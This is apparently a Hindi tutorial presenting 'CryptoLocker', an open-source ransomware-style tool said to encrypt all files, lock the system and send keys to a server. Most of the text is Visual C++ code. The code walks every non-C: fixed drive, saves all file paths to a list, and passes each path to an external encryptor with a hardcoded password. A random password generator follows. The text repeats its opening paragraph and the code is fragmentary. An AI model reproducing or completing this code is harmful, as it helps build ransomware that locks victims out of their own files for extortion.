
CryptoLocker एक ओपन सोर्स फ़ाइल एन्क्रिप्टर है। Crypto Visual C++ में विकसित किया गया है। इसकी विशेषताएँ हैं: सभी फ़ाइलों को एन्क्रिप्ट करना, सिस्टम को लॉक डाउन करना और कुंजियाँ सर्वर पर वापस भेजना। मल्टी-थ्रेडेड कार्यक्षमता इस उपकरण को एन्क्रिप्शन को तेज़ बनाने में मदद करती है।
क्रिप्टो एक ओपन सोर्स क्रिप्टो-लॉकर है। क्रिप्टो को विज़ुअल C++ में विकसित किया गया है। इसमें सभी फाइलों को एन्क्रिप्ट करने, सिस्टम को लॉक डाउन करने और सर्वर पर वापस कुंजियाँ भेजने की सुविधाएँ हैं। मल्टी-थ्रेडेड कार्यक्षमता इस उपकरण को एन्क्रिप्शन को तेज़ बनाने में मदद करती है।
एक शक्तिशाली 256-बिट एन्क्रिप्शन एल्गोरिथम का उपयोग करते हुए, एक बार फाइल एन्क्रिप्ट हो जाने के बाद, पासवर्ड के बिना फाइल पूरी तरह से बेकार हो जाती है। इसे पढ़ा ही नहीं जा सकता।
सभी ड्राइव से सभी फाइलों को एन्क्रिप्ट करने के लिए प्राप्त करना।
यहाँ विज़ुअल C++ प्रोग्राम है जो ड्राइव में सभी निर्देशिका और फाइलों की सूची प्राप्त करता है और बाद में एन्क्रिप्शन के उपयोग के लिए पथ को टेक्स्ट फ़ाइल में संग्रहीत करता है। मैं सभी फाइलों की सूची प्राप्त करने के लिए Boost C++ लाइब्रेरी का उपयोग करता हूँ। कृपया प्रोग्राम को संकलित करने के लिए पहले Boost लाइब्रेरी सेट अप करें।
#include <boost/config/warning_disable.hpp>
#include <boost/filesystem.hpp>
#include <iostream>
#include <iterator>
#include <stdio.h>
#include <windows.h>
using namespace std;
fstream out_file("data.txt", ios::out);
#define MAX 256
int main(int argc, char* argv[]) {
int dr_type = 99;
char dr_avail[MAX];
char *temp = dr_avail;
/* 1st we fill the buffer */
GetLogicalDriveStrings(MAX, dr_avail);
while (*temp != NULL) { // Split the buffer by null
dr_type = GetDriveType(temp);
char skip[10] = "C:\\";
if (dr_type == 3 && temp[0] != 'C') {
boost::system::error_code dir_error;
for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
if (dir_error.value()) {
cerr << "Error accessing file: " << dir_error.message() << endl;
}
else {
cout << dir->path() << endl;
out_file << dir->path() << "\n";
}
}
}
temp += lstrlen(temp) + 1;
}
out_file.close();
system("pause");
यहाँ सबसे पहले मैं "data.txt" से प्रत्येक फ़ाइल पथ को पंक्ति दर पंक्ति प्राप्त करता हूँ और एन्क्रिप्शन प्रकार और पासवर्ड के साथ इस क्रिप्ट टूल पर भेजता हूँ। आप पथ प्राप्त करने और डेटा को पुनरावर्ती रूप से एन्क्रिप्ट करने के लिए इस पूरे प्रोग्राम को ऊपरी लूप में भी एम्बेड कर सकते हैं।
out_file.open("data.txt", ios::in);
string line;
while (out_file.good()) {
getline(out_file, line);
cout << line << endl;
std::string cmmd = "crpt.exe -e -p 4321 ";
cmmd += line;
system(cmmd.c_str());
}
फ़ंक्शन को लंबाई भेजें और फ़ंक्शन जटिल लंबा उत्पन्न पासवर्ड लौटाता है जिसका उपयोग आप एन्क्रिप्शन के लिए कर सकते हैं।
string RandomString(int len)
{
srand(time(0));
string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string newstr;
int pos;
while (newstr.size() != len) {
pos = ((rand() % (str.size() - 1)));
newstr += str.substr(pos, 1);
}
return newstr;
}